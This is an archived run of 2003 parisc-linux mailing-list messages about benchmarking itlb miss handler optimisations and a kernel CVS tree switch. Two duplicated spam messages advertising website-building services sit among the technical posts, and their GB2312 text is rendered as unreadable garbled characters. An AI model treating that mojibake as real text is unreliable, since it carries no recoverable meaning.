X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 12 Aug 2003 10:06:12 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030812160612.GF20514@dsl2.external.hp.com>
References: <20030725070449.GB13017@systemhalted> <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk> <20030812035810.GB9325@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622676 29373 80.91.229.3 (22 Nov 2014 02:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:56 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 10:06:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D6070482D; Tue, 12 Aug 2003 10:06:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030812035810.GB9325@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19189

On Mon, Aug 11, 2003 at 11:58:11PM -0400, Carlos O'Donell wrote:
> I would be most appreciative if anyone would pipe up and say "Run X to
> test if Y works better/faster/harder" :}

osdl-aim-7 benchmark probably stresses both itlb and dtlb.
(available from osdl.org - URL is in linux-ia64 archive)

SDET is another candidate.

Note that itlb misses is a function of accesses to lots of "random"
pages in memory and having enough memory so the odds of hitting
the same page often is low. ie run thousands of jobs and the
scheduler thrash the itlb.

at least that's how I understand it.

grant


From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 12 Aug 2003 17:32:28 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030812163228.GB10015@parcelfarce.linux.theplanet.co.uk>
References: <20030725070449.GB13017@systemhalted> <20030725114615.GI1485@parcelfarce.linux.theplanet.co.uk> <20030812035810.GB9325@systemhalted> <20030812160612.GF20514@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622676 29377 80.91.229.3 (22 Nov 2014 02:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 10:32:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14286489A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 10:32:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19mc4S-0002jK-TB; Tue, 12 Aug 2003 17:32:28 +0100
Content-Disposition: inline
In-Reply-To: <20030812160612.GF20514@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19190

On Tue, Aug 12, 2003 at 10:06:12AM -0600, Grant Grundler wrote:
> Note that itlb misses is a function of accesses to lots of "random"
> pages in memory and having enough memory so the odds of hitting
> the same page often is low. ie run thousands of jobs and the
> scheduler thrash the itlb.
> 
> at least that's how I understand it.

since we're still using 4k page size, and we have typically 160 TLB entries,
that only covers 640k of our 1.5MB cache ... 

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 12 Aug 2003 19:06:44 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3F29178A00002DBE@ocpmta7.freegates.net>
References: <20030812160612.GF20514@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622677 29381 80.91.229.3 (22 Nov 2014 02:17:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:57 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, "LaMont Jones" <lamont@hp.com>
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 11:06:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBBDE482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 11:06:52 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19mcYE-0008Hg-00; Tue, 12 Aug 2003 19:03:14 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 12 Aug 2003 19:06:44 +0200
In-Reply-To: <20030812160612.GF20514@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19191

>
>osdl-aim-7 benchmark probably stresses both itlb and dtlb.
>(available from osdl.org - URL is in linux-ia64 archive)

Ok I finaly find it as re-aim-7 sf.net project. Just launch (alltest) with
kernel-64bits+ C.patch . I will let run for the night and relaunch it with
 tommorrow morning with original kernel-64bits.

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 -> 2.6 tree switch tomorrow
Date: Tue, 12 Aug 2003 13:23:29 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20030812192330.346AF73122@fc.hp.com>
References: <20030806184826.GA11934@ldl.fc.hp.com> <20030807171149.B2A7A7306A@fc.hp.com>  <20030809163931.GD3169@parcelfarce.linux.theplanet.co.uk>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622677 29385 80.91.229.3 (22 Nov 2014 02:17:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 13:23:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E504482D
	for <parisc-linux@parisc-linux.org>; Tue, 12 Aug 2003 13:23:31 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 19FC41C00B6C; Tue, 12 Aug 2003 15:23:31 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id A0D0B3808C; Tue, 12 Aug 2003 13:23:30 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 4A8531340D5; Tue, 12 Aug 2003 13:23:30 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 346AF73122; Tue, 12 Aug 2003 13:23:30 -0600 (MDT)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP
	id 3013862C7C; Tue, 12 Aug 2003 13:23:30 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 09 Aug 2003 17:39:31 BST." <20030809163931.GD3169@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19192

> OK.  Some files were missing from the initial import, so I added them.
> 
> However, I can't get a linus branch out of it:

Yeah I forgot to lay that down.  FYI it's not a branch now -- just a
normal tag which is moved to the latest import.

> I suspect this will hinder using cvs-import to add 2.6.0-test3.

Imported and merged.

	-P


From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+?= <linyu921@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+IQ==?=
Date: Wed, 13 Aug 2003 10:16:19 +0800
Lines: 190
Approved: news@gmane.org
Message-ID: <20030813021408.D82144896@dsl2.external.hp.com>
Reply-To: linyu921@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622677 29387 80.91.229.3 (22 Nov 2014 02:17:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 20:14:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id D82144896
	for <parisc-linux@parisc-linux.org>; Tue, 12 Aug 2003 20:14:08 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19193

ΪӢģҵվ
------------------------
ҪԻƣģ档
 վչܹӦҵ޷չҪ
 к̨ܣվɺ󣬽Լ¹
-----------------------------
˾Ϊվ¹ܣ

 1.Ʒչʾ-չʾĲƷͼĲï༶̨࣬
 2.̵-ͻֱѡĲƷ̵һ
 3.Ʒ-ͻͨƷơ𡢹ؼʵȲĲƷ
 4.ͻ-ԲͬͻԱɽзּȨޡ
 5.Ʒ-ͻֱ¶ĲƷ
 6.ͻ-ͻֱϸԣ
 7.ŷ-ֱӷ˾š֪ͨϢȡ
 8.Ա-Ϊⲿ̳ҲΪ˾ڲԱͨƽ̨
 9.ϵ-趨κ⣬ͻԱ˽˽顣
10.ʼб-ռͻϣͻϢ
11.Ϻؿ-Ҫգͻ;ؿǿͻĸ顣
12.ҵʾ-վͬҵʾ֣ҵĶ
13.̨-ϹܣԼƹרҵԱ

ҲԴ5Уѡһʺ˾վ?
-----------------------------
(һ) ҵվ(Ӣ)

 11
 2100ռ䣻
 3վƣ
 41Ӣվӭҳ
 51վҳ
 61Ӣվҳ                    
 75վҳ
 85Ӣվҳ
 9վӢվ
10Gifťͣť
11LogoGif
12BannerGif
13վԶڸ2(Ӣ)
14ӭҳ߼1ף
15õտͻ;
16άվ1ꣻ
17ƽÿ¸վ2ҳΡ
--------------------------
() ׼ҵվ(Ӣ)

 11
 2120ռ䣻
 31ҵͬ䣻
 4վƣ
 51Ӣվӭҳ
 61վҳ
 71Ӣվҳ                   
 810վҳ       
 910Ӣվҳ
10Gifťͣť
11Flash1
12LogoGif
13Banner̬
14Ч1
15վӢվ
16վԶڸ2(Ӣ)
17ӭҳ߼1ף
18õտͻԣ
19ЧͼƬӢĹ2
20ĻӢĹ2
21άվ1ꣻ
22ƽÿ¸վ4ҳΣ
---------------------------
() ҵվ(Ӣ)

 11
 2150ռ䣻
 35ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 720վҳ
 8վӢվ
 91Ӣվҳ
1020Ӣվҳ
11Gifťͣť̬ť
12Flash2
13Ƶ1
14Ч1
15LogoGif
16Banner̬
17̬1
18վԶڸ2(Ӣ)
19ҳ߼
20ݿտͻ
21ЧͼƬӢĹ4
22ЧҳӢĹ2
23Ļ棨šţӢĹ4
24άվ1ꣻ
25ƽÿ¸վ8ҳΣ
26ҪԼάѵ1ܣ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2200ռ䣻
 310ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 740վҳ
 8վӢվ
 91Ӣվҳ
1040Ӣվҳ
11Gifťͣť̬ť
12Flash4
13Ƶ2
14Ч1
15ҳ1
16LogoGif
17Banner̬
18̬2
19վԶڸ2(Ӣ)
20ҳ߼
21άվ1ꣻ
22ЧͼƬӢĹ6
23ЧҳӢĹ4
24ݿտͻԣ
25Ļ棨šţӢĹ6
26ݿտͻ
27ݿƷ
28ƽÿ¸վ16ҳΣ
29ҪԼάѵ2ܣ2ס
30óƵ--óƵͨ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2300ռ䣻
 320ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 780վҳ
 8վӢվ
 91Ӣվҳ
1080Ӣվҳ
11Gifťͣť̬ť
12Flash8
13Ƶ3
14Ч2
15ҳ2
16LogoGif
17Banner̬
18̬3
19ĿҳӢĿҳ
20վԶڸ2(Ӣ)
21ҳ߼
22ͻ԰2(Ӣ)
23ݿտͻԣ
24Ļ棨šţӢĹ8
25ЧͼƬӢĹ8
26ЧҳӢĹ6
27ݿտͻԡͻ
28ݿԱ
29ʼбռÿʼַ͹棻
30ݿƷ
31άվ1ꣻ
32ƽÿ¸վ32ҳΣ
33ҪԼάѵ3ܣ3ף
34óƵ--óҵͨ1ס
--------------------------- 
˾һҴóҵ"Ӧо""繤̽""ýӰӶ
"רҵ˾רΪҹó˾ҵּ
ӦϵͳվԼҵýӰӶƬ

˾ڹóٻֺ֧֯£ɹԭ֤
ϵͳóƵͨóҵͨϵóӦ
ƷܵóҵĻӭ    

ͬʱҵϵ˾ŷ塢ձ
ǵȵʮҲɹ̡СԼõĺ
ϵȥһ࣬˾Ѱɹڹҵʵ
ڲƷٳɶڳóס
 -----------------------------
˾г޹˾
ַмô԰6¥9E
绰020-85580234ת19 20
棺020-85581405
ֻ13640327836
䣺linyu921@sina.com
-----------------------------



From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+?= <linyu921@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+IQ==?=
Date: Wed, 13 Aug 2003 10:16:43 +0800
Lines: 190
Approved: news@gmane.org
Message-ID: <20030813021422.09D2B489A@dsl2.external.hp.com>
Reply-To: linyu921@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622678 29392 80.91.229.3 (22 Nov 2014 02:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 12 20:16:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09D2B489A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Aug 2003 20:14:22 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19194

ΪӢģҵվ
------------------------
ҪԻƣģ档
 վչܹӦҵ޷չҪ
 к̨ܣվɺ󣬽Լ¹
-----------------------------
˾Ϊվ¹ܣ

 1.Ʒչʾ-չʾĲƷͼĲï༶̨࣬
 2.̵-ͻֱѡĲƷ̵һ
 3.Ʒ-ͻͨƷơ𡢹ؼʵȲĲƷ
 4.ͻ-ԲͬͻԱɽзּȨޡ
 5.Ʒ-ͻֱ¶ĲƷ
 6.ͻ-ͻֱϸԣ
 7.ŷ-ֱӷ˾š֪ͨϢȡ
 8.Ա-Ϊⲿ̳ҲΪ˾ڲԱͨƽ̨
 9.ϵ-趨κ⣬ͻԱ˽˽顣
10.ʼб-ռͻϣͻϢ
11.Ϻؿ-Ҫգͻ;ؿǿͻĸ顣
12.ҵʾ-վͬҵʾ֣ҵĶ
13.̨-ϹܣԼƹרҵԱ

ҲԴ5Уѡһʺ˾վ?
-----------------------------
(һ) ҵվ(Ӣ)

 11
 2100ռ䣻
 3վƣ
 41Ӣվӭҳ
 51վҳ
 61Ӣվҳ                    
 75վҳ
 85Ӣվҳ
 9վӢվ
10Gifťͣť
11LogoGif
12BannerGif
13վԶڸ2(Ӣ)
14ӭҳ߼1ף
15õտͻ;
16άվ1ꣻ
17ƽÿ¸վ2ҳΡ
--------------------------
() ׼ҵվ(Ӣ)

 11
 2120ռ䣻
 31ҵͬ䣻
 4վƣ
 51Ӣվӭҳ
 61վҳ
 71Ӣվҳ                   
 810վҳ       
 910Ӣվҳ
10Gifťͣť
11Flash1
12LogoGif
13Banner̬
14Ч1
15վӢվ
16վԶڸ2(Ӣ)
17ӭҳ߼1ף
18õտͻԣ
19ЧͼƬӢĹ2
20ĻӢĹ2
21άվ1ꣻ
22ƽÿ¸վ4ҳΣ
---------------------------
() ҵվ(Ӣ)

 11
 2150ռ䣻
 35ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 720վҳ
 8վӢվ
 91Ӣվҳ
1020Ӣվҳ
11Gifťͣť̬ť
12Flash2
13Ƶ1
14Ч1
15LogoGif
16Banner̬
17̬1
18վԶڸ2(Ӣ)
19ҳ߼
20ݿտͻ
21ЧͼƬӢĹ4
22ЧҳӢĹ2
23Ļ棨šţӢĹ4
24άվ1ꣻ
25ƽÿ¸վ8ҳΣ
26ҪԼάѵ1ܣ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2200ռ䣻
 310ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 740վҳ
 8վӢվ
 91Ӣվҳ
1040Ӣվҳ
11Gifťͣť̬ť
12Flash4
13Ƶ2
14Ч1
15ҳ1
16LogoGif
17Banner̬
18̬2
19վԶڸ2(Ӣ)
20ҳ߼
21άվ1ꣻ
22ЧͼƬӢĹ6
23ЧҳӢĹ4
24ݿտͻԣ
25Ļ棨šţӢĹ6
26ݿտͻ
27ݿƷ
28ƽÿ¸վ16ҳΣ
29ҪԼάѵ2ܣ2ס
30óƵ--óƵͨ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2300ռ䣻
 320ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 780վҳ
 8վӢվ
 91Ӣվҳ
1080Ӣվҳ
11Gifťͣť̬ť
12Flash8
13Ƶ3
14Ч2
15ҳ2
16LogoGif
17Banner̬
18̬3
19ĿҳӢĿҳ
20վԶڸ2(Ӣ)
21ҳ߼
22ͻ԰2(Ӣ)
23ݿտͻԣ
24Ļ棨šţӢĹ8
25ЧͼƬӢĹ8
26ЧҳӢĹ6
27ݿտͻԡͻ
28ݿԱ
29ʼбռÿʼַ͹棻
30ݿƷ
31άվ1ꣻ
32ƽÿ¸վ32ҳΣ
33ҪԼάѵ3ܣ3ף
34óƵ--óҵͨ1ס
--------------------------- 
˾һҴóҵ"Ӧо""繤̽""ýӰӶ
"רҵ˾רΪҹó˾ҵּ
ӦϵͳվԼҵýӰӶƬ

˾ڹóٻֺ֧֯£ɹԭ֤
ϵͳóƵͨóҵͨϵóӦ
ƷܵóҵĻӭ    

ͬʱҵϵ˾ŷ塢ձ
ǵȵʮҲɹ̡СԼõĺ
ϵȥһ࣬˾Ѱɹڹҵʵ
ڲƷٳɶڳóס
 -----------------------------
˾г޹˾
ַмô԰6¥9E
绰020-85580234ת19 20
棺020-85581405
ֻ13640327836
䣺linyu921@sina.com
-----------------------------



From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 16:52:07 +0200
Lines: 377
Approved: news@gmane.org
Message-ID: <3F28D76600003759@ocpmta4.freegates.net>
References: <20030812160612.GF20514@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622678 29396 80.91.229.3 (22 Nov 2014 02:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:58 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, "LaMont Jones" <lamont@hp.com>
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 08:52:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D15E0482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 08:52:14 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19mwvT-00021a-00; Wed, 13 Aug 2003 16:48:35 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 13 Aug 2003 16:52:07 +0200
In-Reply-To: <20030812160612.GF20514@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19195

>
>osdl-aim-7 benchmark probably stresses both itlb and dtlb.
>(available from osdl.org - URL is in linux-ia64 archive)

Well I finaly find it on sf.net (via osdl.org)

And submit some bench which seems to be more in relation with vm (?):

./reaim -x -t -f worfile.shared -r3

